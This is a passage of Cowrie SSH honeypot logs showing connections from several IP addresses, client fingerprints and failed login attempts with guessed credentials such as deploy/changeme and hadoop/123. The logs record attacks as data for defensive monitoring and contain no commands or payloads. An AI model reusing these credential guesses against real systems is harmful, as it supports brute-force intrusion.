16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:35:01.264110Z","src_ip":"2.57.122.238","session":"9a6d4b7d6e6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:35:01.581815Z","src_ip":"2.57.122.238","session":"9a6d4b7d6e6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:35:02.700547Z","src_ip":"2.57.122.238","session":"9a6d4b7d6e6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37194,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccb177f23010","protocol":"ssh","message":"New connection: 159.203.92.129:37194 (159.203.135.109:22) [session: ccb177f23010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:35:25.439101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:35:25.443963Z","src_ip":"159.203.92.129","session":"ccb177f23010","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:35:25.448880Z","src_ip":"159.203.92.129","session":"ccb177f23010","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Apps","password":"Apps","message":"login attempt [Apps/Apps] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:35:25.465485Z","src_ip":"159.203.92.129","session":"ccb177f23010","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:35:26.472830Z","src_ip":"159.203.92.129","session":"ccb177f23010","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":40188,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9631940f5eb","protocol":"ssh","message":"New connection: 103.228.69.212:40188 (159.203.135.109:22) [session: e9631940f5eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:35:29.352117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:35:29.356812Z","src_ip":"103.228.69.212","session":"e9631940f5eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:35:29.583287Z","src_ip":"103.228.69.212","session":"e9631940f5eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123","message":"login attempt [hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:35:30.526901Z","src_ip":"103.228.69.212","session":"e9631940f5eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:35:31.758507Z","src_ip":"103.228.69.212","session":"e9631940f5eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54346,"dst_ip":"159.203.135.109","dst_port":22,"session":"050409af2e5d","protocol":"ssh","message":"New connection: 159.203.92.129:54346 (159.203.135.109:22) [session: 050409af2e5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:36:07.306791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:36:07.311413Z","src_ip":"159.203.92.129","session":"050409af2e5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:36:07.316585Z","src_ip":"159.203.92.129","session":"050409af2e5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"B404","password":"123","message":"login attempt [B404/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:36:07.332650Z","src_ip":"159.203.92.129","session":"050409af2e5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:36:08.339472Z","src_ip":"159.203.92.129","session":"050409af2e5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":35406,"dst_ip":"159.203.135.109","dst_port":22,"session":"99f75dc4df6c","protocol":"ssh","message":"New connection: 37.143.61.84:35406 (159.203.135.109:22) [session: 99f75dc4df6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:36:14.994190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:36:15.086685Z","src_ip":"37.143.61.84","session":"99f75dc4df6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:36:15.179875Z","src_ip":"37.143.61.84","session":"99f75dc4df6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"changeme","message":"login attempt [deploy/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:36:20.786826Z","src_ip":"37.143.61.84","session":"99f75dc4df6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:36:22.394040Z","src_ip":"37.143.61.84","session":"99f75dc4df6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":57632,"dst_ip":"159.203.135.109","dst_port":22,"session":"2284faeca9e6","protocol":"ssh","message":"New connection: 103.228.69.212:57632 (159.203.135.109:22) [session: 2284faeca9e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:36:27.599438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:36:27.604468Z","src_ip":"103.228.69.212","session":"2284faeca9e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:36:27.833601Z","src_ip":"103.228.69.212","session":"2284faeca9e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appldev","password":"appldev1234","message":"login attempt [appldev/appldev1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:36:28.787279Z","src_ip":"103.228.69.212","session":"2284faeca9e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:36:30.019861Z","src_ip":"103.228.69.212","session":"2284faeca9e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46754,"dst_ip":"159.203.135.109","dst_port":22,"session":"a14fea6ef103","protocol":"ssh","message":"New connection: 159.203.92.129:46754 (159.203.135.109:22) [session: a14fea6ef103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:36:48.298124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:36:48.309123Z","src_ip":"159.203.92.129","session":"a14fea6ef103","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:36:48.313303Z","src_ip":"159.203.92.129","session":"a14fea6ef103","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"B404","password":"123456","message":"login attempt [B404/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:36:48.404619Z","src_ip":"159.203.92.129","session":"a14fea6ef103","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:36:49.413625Z","src_ip":"159.203.92.129","session":"a14fea6ef103","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":51002,"dst_ip":"159.203.135.109","dst_port":22,"session":"afdd5dabe2c5","protocol":"ssh","message":"New connection: 80.94.92.186:51002 (159.203.135.109:22) [session: afdd5dabe2c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:37:00.076583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:37:00.186855Z","src_ip":"80.94.92.186","session":"afdd5dabe2c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:37:00.304530Z","src_ip":"80.94.92.186","session":"afdd5dabe2c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"jito","message":"login attempt [solana/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:37:01.380895Z","src_ip":"80.94.92.186","session":"afdd5dabe2c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:37:02.557367Z","src_ip":"80.94.92.186","session":"afdd5dabe2c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":52390,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea29c98ddf9d","protocol":"ssh","message":"New connection: 2.57.122.238:52390 (159.203.135.109:22) [session: ea29c98ddf9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:37:18.392634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:37:18.398474Z","src_ip":"2.57.122.238","session":"ea29c98ddf9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"comp